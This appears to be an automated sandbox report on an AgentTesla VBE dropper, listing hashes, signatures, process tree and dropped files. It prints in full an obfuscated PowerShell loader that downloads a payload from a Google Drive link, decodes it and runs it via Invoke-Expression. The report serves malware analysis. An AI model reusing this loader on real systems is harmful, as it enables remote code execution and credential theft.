Analysis

  • max time kernel
    149s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    21/05/2024, 03:42

General

  • Target

    101764ZAM2024.vbe

  • Size

    5KB

  • MD5

    9bb236cdb3b35307af7d461c7fb89080

  • SHA1

    c15e1237916d8b15f6123b1f5fe71bea8ca05145

  • SHA256

    7e82648e3ef3dbd61b8770817368ab2a475a2a7e0409acc7be80b725f72d03bd

  • SHA512

    ce235a07bde29a9317cde50b23f2b84b20c9463cce0f8a63f37385f03936b232029631596b7aab16137dacc6257478d805d73fef117f686e1c8a981010e739fc

  • SSDEEP

    96:QqROsb4v4l8zpMXx1LGkAo2ccqknNjD4VesDn5eoxDdHZ1bte+drO8CDnlufp:QTyK4l8za/LGAcqwD477fFLbte+U8CD+

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\101764ZAM2024.vbe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Stodgier42 = 1;$Demasculinizingntravense='Sub';$Demasculinizingntravense+='strin';$Demasculinizingntravense+='g';Function Spanopnea($Prevacating){$Lazars138=$Prevacating.Length-$Stodgier42;For($Demasculinizing=1;$Demasculinizing -lt $Lazars138;$Demasculinizing+=2){$Miracicidia+=$Prevacating.$Demasculinizingntravense.Invoke( $Demasculinizing, $Stodgier42);}$Miracicidia;}function Boobyism21($Drago){& ($Afmrkningsplen) ($Drago);}$Alveolarerne=Spanopnea '.M o zBi l,l,a /S5G..0M d( Wsi n.d o,w s lN T. .1 0H..0 ;P WCi.nD6D4I;D x 6S4 ;. DrIv :,1S2 1 .E0S)T EG eMcBkKoL/.2 0B1F0 0.1D0,1t FFiTr,e fTo,x / 1P2B1O. 0h ';$Croup=Spanopnea ' UDsSePrD- A,gBe n tG ';$Euphenics=Spanopnea 'Lh.tGt pPsS: /m/ dUrAiPvCe..SgGoVo gPl.eB.FcToRm /Mu.c ?UeaxGpOo r t =CdTo.w.n lBo a d,&GiDd = 1SS.nNI -,a.RIm,y cA3K4vQ fAsLW,o o _ CCK JSc h.e jVC 2B7 pSQ uG9 ';$Chevronwise=Spanopnea ',> ';$Afmrkningsplen=Spanopnea 'TiKe,x. ';$Followings='Peasanthood';$Grafiksystemets = Spanopnea ',e cSh,om R% a p p dSaSt a %K\ M.a,nVatvUesl . S.kBo M& &, eUcFh oP StS ';Boobyism21 (Spanopnea ' $ gBlAo.b a.lF:.F.aZr y ngg aEl =h(Rc mBd /,cA ,$BG,r.aHfNi,k sPy s tpe,m e tAsK), ');Boobyism21 (Spanopnea ',$NgAllo.bVa l.: RCeStPr.oTv.iBsTiHo nR2A9C=P$ E,u p,hPe,n,iCc sS.Ss pPlDiHtS( $BCShCe,vKrPoFn wBiUs,e,) ');$Euphenics=$Retrovision29[0];$Dekompressionskammeret= (Spanopnea 'B$CgAlUo.b.a l :sRNe,eBkCs p.o,r,t eLrNi n,g eDr,nHeu=LN e wF- O bPj,eAc.tP SFyKs t e m .,NDeLtI.,W e b.C l iLeAnIt');$Dekompressionskammeret+=$Faryngal[1];Boobyism21 ($Dekompressionskammeret);Boobyism21 (Spanopnea 'G$ARae eTkIs p,oCrHtre.rJiSnSg e.r nFe,.DHbeCa d,eBr,sS[L$ C rPo u pS] =K$.ACl.v eFo,lRaEr e r.ndeL ');$Crossfiring=Spanopnea 'S$BRYeueOkBs,p oIrNtCe,rNiAnDgMeOr nQei.ID o w n lko a dMFOi lGeM(.$SECuMp h,e nBi c.s.,F$RSNuBsPsLo.)F ';$Susso=$Faryngal[0];Boobyism21 (Spanopnea 'F$,g,l,o b.aRlS: B rTe v i.r.oRs tFrSi nfe sL=I(HTie s tT-,PCaOt,h. $.SBuEs.s,oD)B ');while (!$Brevirostrines) {Boobyism21 (Spanopnea 'L$hgDlUoUb aAl.: VdeudMlFikgAe.h o,lFdDeDl sEe.s.kMoWnBtAo s =Q$ t r uKeM ') ;Boobyism21 $Crossfiring;Boobyism21 (Spanopnea '.SUtLaJrSt -.S,l,eDe,p. 4T ');Boobyism21 (Spanopnea 'O$ g lToCb.aUl :NB.r e vUiGr.oBsFt r,i.n e su= (TT eVsCtS- P.a,t hA $HSTu s.sDo ). ') ;Boobyism21 (Spanopnea ',$Egel ocb,aOl.:.C oFnBt e m,p eBrJaNtPe =.$ugDl oFbfa lA:LSOaMlOt,l a gEe s +.+K%c$.Rdegt.rAo vSiFs i.o n 2T9 .,c o u nPtK ') ;$Euphenics=$Retrovision29[$Contemperate];}$Udtolkningens=361885;$Resedagrnnes=26700;Boobyism21 (Spanopnea 's$ gTl oObOa l :AODrpthh o.x.aGzLiSn h=. G.edt -BCNoNnOt eInHtA J$NSsu.s,s o. ');Boobyism21 (Spanopnea ' $ g l.o b,aLl,: SSk o,lNe b oNgUs f o rsfLa.t,tHe r nNeWs, L=. [ESAy.s t.e m,.,CRoOnIv e r,tt],:S:OFfrHo.mTB aCs eD6 4 SMtSr i.n gT( $,O.r tThPo x aSztiMn ) ');Boobyism21 (Spanopnea ',$Ag leo b a lD:HF.oMlBkSe bPa a dSsB R=O [.SByLs t,eFm..FTEeNx.t .ME.n.c oAdIiBn gH] :S: ABSAC,IAIN. GmeStRSFtkrGiNnBg.(.$KSPkHo l e,b.o,gNsUf o rAf,a.t,t e rUn.eTs )P ');Boobyism21 (Spanopnea 'C$RgSlPoSbSa,lm: D.i s fCaLvPo rVs.=S$SF.ohlFkBe,b,a aBdAsA.,sFu bSs,tpr isnPg.(B$UUAd t oKlFk,n iKn.g.eBn s,, $URSe s,e,d,a g r,n nSe s )G ');Boobyism21 $Disfavors;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Manavel.Sko && echo t"
        3⤵
          PID:2544
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Stodgier42 = 1;$Demasculinizingntravense='Sub';$Demasculinizingntravense+='strin';$Demasculinizingntravense+='g';Function Spanopnea($Prevacating){$Lazars138=$Prevacating.Length-$Stodgier42;For($Demasculinizing=1;$Demasculinizing -lt $Lazars138;$Demasculinizing+=2){$Miracicidia+=$Prevacating.$Demasculinizingntravense.Invoke( $Demasculinizing, $Stodgier42);}$Miracicidia;}function Boobyism21($Drago){& ($Afmrkningsplen) ($Drago);}$Alveolarerne=Spanopnea '.M o zBi l,l,a /S5G..0M d( Wsi n.d o,w s lN T. .1 0H..0 ;P WCi.nD6D4I;D x 6S4 ;. DrIv :,1S2 1 .E0S)T EG eMcBkKoL/.2 0B1F0 0.1D0,1t FFiTr,e fTo,x / 1P2B1O. 0h ';$Croup=Spanopnea ' UDsSePrD- A,gBe n tG ';$Euphenics=Spanopnea 'Lh.tGt pPsS: /m/ dUrAiPvCe..SgGoVo gPl.eB.FcToRm /Mu.c ?UeaxGpOo r t =CdTo.w.n lBo a d,&GiDd = 1SS.nNI -,a.RIm,y cA3K4vQ fAsLW,o o _ CCK JSc h.e jVC 2B7 pSQ uG9 ';$Chevronwise=Spanopnea ',> ';$Afmrkningsplen=Spanopnea 'TiKe,x. ';$Followings='Peasanthood';$Grafiksystemets = Spanopnea ',e cSh,om R% a p p dSaSt a %K\ M.a,nVatvUesl . S.kBo M& &, eUcFh oP StS ';Boobyism21 (Spanopnea ' $ gBlAo.b a.lF:.F.aZr y ngg aEl =h(Rc mBd /,cA ,$BG,r.aHfNi,k sPy s tpe,m e tAsK), ');Boobyism21 (Spanopnea ',$NgAllo.bVa l.: RCeStPr.oTv.iBsTiHo nR2A9C=P$ E,u p,hPe,n,iCc sS.Ss pPlDiHtS( $BCShCe,vKrPoFn wBiUs,e,) ');$Euphenics=$Retrovision29[0];$Dekompressionskammeret= (Spanopnea 'B$CgAlUo.b.a l :sRNe,eBkCs p.o,r,t eLrNi n,g eDr,nHeu=LN e wF- O bPj,eAc.tP SFyKs t e m .,NDeLtI.,W e b.C l iLeAnIt');$Dekompressionskammeret+=$Faryngal[1];Boobyism21 ($Dekompressionskammeret);Boobyism21 (Spanopnea 'G$ARae eTkIs p,oCrHtre.rJiSnSg e.r nFe,.DHbeCa d,eBr,sS[L$ C rPo u pS] =K$.ACl.v eFo,lRaEr e r.ndeL ');$Crossfiring=Spanopnea 'S$BRYeueOkBs,p oIrNtCe,rNiAnDgMeOr nQei.ID o w n lko a dMFOi lGeM(.$SECuMp h,e nBi c.s.,F$RSNuBsPsLo.)F ';$Susso=$Faryngal[0];Boobyism21 (Spanopnea 'F$,g,l,o b.aRlS: B rTe v i.r.oRs tFrSi nfe sL=I(HTie s tT-,PCaOt,h. $.SBuEs.s,oD)B ');while (!$Brevirostrines) {Boobyism21 (Spanopnea 'L$hgDlUoUb aAl.: VdeudMlFikgAe.h o,lFdDeDl sEe.s.kMoWnBtAo s =Q$ t r uKeM ') ;Boobyism21 $Crossfiring;Boobyism21 (Spanopnea '.SUtLaJrSt -.S,l,eDe,p. 4T ');Boobyism21 (Spanopnea 'O$ g lToCb.aUl :NB.r e vUiGr.oBsFt r,i.n e su= (TT eVsCtS- P.a,t hA $HSTu s.sDo ). ') ;Boobyism21 (Spanopnea ',$Egel ocb,aOl.:.C oFnBt e m,p eBrJaNtPe =.$ugDl oFbfa lA:LSOaMlOt,l a gEe s +.+K%c$.Rdegt.rAo vSiFs i.o n 2T9 .,c o u nPtK ') ;$Euphenics=$Retrovision29[$Contemperate];}$Udtolkningens=361885;$Resedagrnnes=26700;Boobyism21 (Spanopnea 's$ gTl oObOa l :AODrpthh o.x.aGzLiSn h=. G.edt -BCNoNnOt eInHtA J$NSsu.s,s o. ');Boobyism21 (Spanopnea ' $ g l.o b,aLl,: SSk o,lNe b oNgUs f o rsfLa.t,tHe r nNeWs, L=. [ESAy.s t.e m,.,CRoOnIv e r,tt],:S:OFfrHo.mTB aCs eD6 4 SMtSr i.n gT( $,O.r tThPo x aSztiMn ) ');Boobyism21 (Spanopnea ',$Ag leo b a lD:HF.oMlBkSe bPa a dSsB R=O [.SByLs t,eFm..FTEeNx.t .ME.n.c oAdIiBn gH] :S: ABSAC,IAIN. GmeStRSFtkrGiNnBg.(.$KSPkHo l e,b.o,gNsUf o rAf,a.t,t e rUn.eTs )P ');Boobyism21 (Spanopnea 'C$RgSlPoSbSa,lm: D.i s fCaLvPo rVs.=S$SF.ohlFkBe,b,a aBdAsA.,sFu bSs,tpr isnPg.(B$UUAd t oKlFk,n iKn.g.eBn s,, $URSe s,e,d,a g r,n nSe s )G ');Boobyism21 $Disfavors;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2680
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Manavel.Sko && echo t"
            4⤵
              PID:2500
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Adds Run key to start application
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1616

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Roaming\Manavel.Sko

              Filesize

              505KB

              MD5

              9b1ceeb7dda4146c3b37573fe7a25989

              SHA1

              4849d1f229be1e3e06add30e5104def9f6850a32

              SHA256

              58da4bc32b6bee6d8b9271cd505ff2a9d7cc1b69876fb17857f94710c88a39fc

              SHA512

              a5ea3cc5be27417367c800bb4f420487b43d9e4bf5be5ce1dde74a6968a54300f92a0b8d45fbde6df7bd906e14eb8ca0ffdd1c4e9345aee53d123e72a795b706

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AH08WIVJ2AW44Y48YBSI.temp

              Filesize

              7KB

              MD5

              0705f4e9e6786164c5fe702ea2565119

              SHA1

              d96468731eeda31d350b803348ba843c8b1d353c

              SHA256

              2fb848dd1c335fac0793d0e8e4e0c96e16e444fcbeac82fe2d0dc67ad8d6c0a8

              SHA512

              f49b5b2763ef373ca81cca74059807df15853d05059aa0562f100e55cc1692b671a12eb7055127c5d3ca4e01eb68cd7e8897c09b2336ca2edddedd006599c663

            • memory/1616-41-0x0000000000BA0000-0x0000000000BE2000-memory.dmp

              Filesize

              264KB

            • memory/1616-39-0x0000000000BA0000-0x0000000001C02000-memory.dmp

              Filesize

              16.4MB

            • memory/2660-7-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

              Filesize

              9.6MB

            • memory/2660-8-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

              Filesize

              9.6MB

            • memory/2660-4-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

              Filesize

              4KB

            • memory/2660-14-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

              Filesize

              9.6MB

            • memory/2660-16-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

              Filesize

              4KB

            • memory/2660-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

              Filesize

              32KB

            • memory/2660-40-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

              Filesize

              9.6MB

            • memory/2660-5-0x000000001B680000-0x000000001B962000-memory.dmp

              Filesize

              2.9MB

            • memory/2680-15-0x0000000006650000-0x0000000009475000-memory.dmp

              Filesize

              46.1MB